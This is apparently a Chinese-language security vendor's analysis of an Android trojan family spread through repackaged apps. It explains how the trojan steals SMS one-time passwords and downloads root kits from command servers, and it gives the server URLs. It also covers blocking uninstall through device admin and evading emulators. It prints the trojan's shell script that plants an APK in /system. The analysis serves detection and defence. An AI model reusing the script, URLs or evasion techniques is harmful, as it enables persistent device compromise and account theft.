2015年10月12日 12:57 5642
一,<b>木馬介紹</b>
<b></b>
攻擊者将木馬制作成使用者剛需應用,如色情類、生活服務類,或将惡意代碼通過二次打包,注入到合法的應用當中,僞裝成為合法應用,上傳到android市場或某些論壇,誘導使用者下載下傳。一旦使用者下載下傳運作了此類應用,木馬通過雲端推送root 工具包,以及惡意應用;通過短信提取動态密碼,第一時間發送給木馬作者,直接造成财産損失、隐私洩露等;木馬建立不死服務,背景root裝置,成功root後将惡意應用植入系統分區,使用者即使恢複出廠設定也無法完全解除安裝木馬。具體執行過程如下圖:
被感染應用以及惡意樣本數量過千類,以下列出“萬年曆,清澀笑話,特實惠, 魅力女生動态桌面,開心樂消消-歡樂版,内涵桌面,開心樂消消,全網充話費,極緻腿模,好聽音樂,holotorch,情趣内涵電台,accurate battery,super silent,心情天氣”
二,<b>樣本行為分析</b>
樣本存在大量變種,以下對“僞萬年曆”樣本進行行為分析。木馬将惡意代碼打包入正常應用。啟動“僞
萬年曆”應用後,進入正常的月曆界面,而應用的application 類作為惡意代碼入口點。
<b>2.1監聽短信彩信,擷取動态驗證碼</b>
提取短信中的動态密碼,第一時間轉發到指定号碼并截斷短信發送,這樣使用者将在不知情的情況下,大量賬号被盜。攔截使用者短信彩信,提取到的動态密碼以及手機資訊發送到雲端伺服器。直接造成财産損失,隐私洩露。
木馬動态注冊短信監聽廣播,通過類加載反射等技術進行具體的監控操作。當觸發短信消息事件時,木馬會動态加載myjar.jar,反射調用smscheck函數。
<b>圖動态注冊廣播監聽短信消息</b>
<b>圖動态加載dex,反射調用smscheck函數</b>
對smscheck函數分析,發現若攔截到的短信中存在動态密碼,病毒會第一時間發送給指定号碼,同時會将動态密碼,以及目前手機資訊作為參數post送出到雲端伺服器。也就是木馬作者通過使用者手機号碼找回密碼,這樣輕松的盜取使用者賬号密碼,而中馬使用者完全不知曉。
接下來過濾短信發送者,将短信内容,發送者手機号碼,以及手機imsi等發post到指定伺服器:
<b>圖将攔截到短信發送到指定伺服器</b>
<b> 跟蹤發現伺服器目錄,存放了中馬手機資訊以及root手機的工具:</b>
<b> </b>
<b>2.2啟動locationservice</b>
a 監聽廣播,觸發雲端互動,下載下傳root 工具包和推廣的惡意應用
locationservice開啟任務線程,在任務線程裡動态注冊廣播,監聽網絡變化,螢幕喚醒鎖屏,應用安裝解除安裝更新等,監控廣播做為病毒行為觸發點。擷取手機資訊做為post參數,上傳到雲端伺服器。
(android.net.conn.connectivity_change,android.intent.action.user_present,android.intent.action.screen_off,android.intent.action.screen_on,android.intent.action.package_added,android.intent.action.package_changed, android.intent.action.package_replaced,android.intent.action.package_removed)
以下是對病毒下載下傳雲端root 工具的分析:木馬首先向伺服器post手機的imei、imsi、分辨率、手機号等基本資訊,伺服器傳回加密的url指令,解碼url擷取下載下傳root手機所需的busybox、su、install-recovery.sh等工具:
<b><b>圖伺服器傳回的加密</b><b>url</b></b>
<b> 木馬本地解密url,擷取到root 工具下載下傳源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下載下傳到手機後改名為“shellv5.jar”,其實是一壓縮包:</b>
<b><b></b></b>
<b><b>圖</b><b>shellv5.jar </b><b>裡的檔案</b><b> root </b><b>工具包</b><b></b></b>
<b> 采用同樣的過程下載下傳root sdk,通路伺服器http://api.wangyan9488.com:8287/api/getattach.jsp,擷取加密url</b>
<b> </b><b></b>
<b><b><b>圖加密</b><b>root sdk url</b></b></b>
<b><b> 木馬解密url,擷取下載下傳源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下載下傳jar檔案,下載下傳到手機後改名為“dlv5.jar”。通過動态加載該檔案中的dex檔案,同時利用之前下載下傳的工具擷取root權限,随後将同名檔案名的apk檔案植入到/system/app/下并安裝。該apk僞裝成系統“下載下傳服務”,而自身是與母樣本僞萬年曆相同行為的木馬。</b></b>
<b><b><b></b></b></b>
<b><b><b><b>b強制激活裝置管理,防止解除安裝</b></b></b></b>
<b><b><b><b> </b></b></b></b>
<b><b><b> 利用裝置管理器缺陷,在取消激活裝置管理之前,devicepolicymanagerservice會調用應用的ondisablerequested方法擷取取消激活的警示資訊。下圖可以發現病毒在發現取消激活時,會進行螢幕鎖屏之後進入系統setting 頁面,這樣一旦使用者激活裝置将無法解除安裝。</b></b></b>
圖取消裝置管理時螢幕鎖屏
<b><b><b>c 最後啟動另外一個核心服務blueservice</b></b></b>
<b><b> <b>圖啟動blueservice服務</b></b></b>
<b><b><b>2.3 blueservice服務</b></b></b>
<b><b><b> a </b><b>強制安裝</b><b>android_screen_on_off.apk</b><b>應用</b><b></b></b></b>
<b><b>僞裝成系統“下載下傳管理”應用,同樣通過post手機資訊到雲端伺服器,get加密後的url,然後本地解密url擷取下載下傳推廣的應用。同樣的代碼子產品激活裝置管理防止解除安裝。</b></b>
<b><b>b root </b><b>手機</b></b>
下圖為blueservice服務的任務線程,紅色框動态注冊rootreciver,當網絡發生變化或手機鎖屏喚醒時,在背景嘗試root:<b></b>
<b> <b>圖blueservice服務任務線程代碼</b></b>
<b><b> 檢測14425728404326709.apk是否被安裝,其實這是root之後安裝到系統目錄下的檔案,root的最終目的就是将惡意應用植入system目錄,僞裝成系統應用,長期駐留使用者裝置。木馬通過dexclassloader加載雲端配置的rootdex,随後反射調用getdex 函數進行root工作。下圖動态加載dex,反射調用getdex:</b></b>
<b> <b>圖動态加載dex,反射調用getdex</b></b>
<b><b>将雲端下載下傳到sdcard/.xxx目錄裡的busybox,su 拷貝到應用檔案目錄,建立aa.xml檔案表示開始進行root 工作。下圖建立開始root檔案:</b></b>
<b><b> <b>圖建立開始root的flag檔案</b></b></b>
<b><b>将雲端下載下傳在xxx目錄下的root 工具,拷貝到data/files目錄下,并在files目錄下建立psneuter.js</b></b>
<b>圖拷貝root 工具</b>
root成功後将14425728404326709.apk 安裝到system/app目錄并啟動該應用。動态攔截發現,本次分析下載下傳的root sdk 工具包,應該是刷機大師的mtk root方案。由于雲端配置靈活,下載下傳擷取的root工具包靈活(根據手機版本等資訊,下載下傳不同root工具包).
<b>圖root 手機代碼</b>
1.suc f0h5zguz9ajxbczexman2kdhh6v0uw== /system/bin/sh psneuter.js
2.suc al1s7jbfntn9fabmc0jb9a9ns1gzsg== /system/bin/sh psneuter.js
3.suc hygzrm2ihtkwpp7hll/ss0uy66xdcw== /system/bin/sh psneuter.js
成功root後執行psneuter.js,木馬将成功僞裝成系統應用隐藏在使用者手機,即使恢複出廠設定也無法解除安裝。
psneuter.js檔案内容
#!/system/bin/sh
mount -o rw,remount /system
/data/local/tmp/busybox mount -o rw,remount /system
cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk
chmod 0644 /system/app/14425728404326709.apk
pm install /system/app/14425728404326709.apk
mount -o ro,remount /system
/data/local/tmp/busybox mount -o ro,remount /system
echo "now, script finish!”
圖 root成功木馬僞裝系統軟體“下載下傳服務”
<b>c </b><b>不死服務</b><b>locationservice, blueservice</b>
隻要保證兩大核心服務locationservice,blueservice 不死,就可以一直在背景執行惡意代碼。木馬在啟動核型服務locationservice,blueservice的同時,會注冊守護廣播,保證核心服務一直啟動。
圖啟動locationservice服務同時注冊守護廣播
守護服務的廣播,通過監聽螢幕開關、手機電量變化、時間更改,啟動被保護的服務
圖守護廣播監聽的消息
三,<b>變種追蹤</b>
<b> </b>該樣本存在大量變種,且都是由locationservice,blueservice核心服務演變而來,從最開始的惡意應用推廣到雲端root sdk配置,更新到通過短信盜号,對抗殺軟檢測在native層檢測運作環境等。
對變種木馬“内涵桌面”樣本分析,首先在native層檢查運作環境,若不是模拟器才啟動惡意廣播。這樣有效的躲避了動态引擎檢測,以及逆向分析人員分析。
圖native層啟動惡意廣播
模拟器檢查,若木馬運作環境在模拟器内,木馬将不會啟動惡意廣播。模拟檢查主要檢查cpuinfo是否為goldfish,裝置ids是不是 “000000000000000”, imsi id是不是“310260000000000“,手機營運商等。
四,<b>建議和解決方案</b>
<b> </b>4.1 使用加強手段增加被惡意者二次打包的成本:如使用阿裡聚安全應用加強方案,無需開發者修改源代碼或者二次開發,通過加殼,加密,邏輯混淆,代碼隐藏等各類應用加強方法,防止應用被逆向分析,反編譯,以及二次打包嵌入各類病毒廣告等惡意代碼。
4.2 使用者下載下傳應用請到官方網站或安全應用市場,切勿點選任何色情連結,尤其是短信、qq、微信等聊天工具中不熟識的“朋友”發來的連結。
4.3 如果不确定手機是否毒,可以安裝阿裡錢盾等手機安全軟體,對手機上的應用進行檢測,防止高風險惡意應用的安裝。
本文來自合作夥伴“阿裡聚安全”.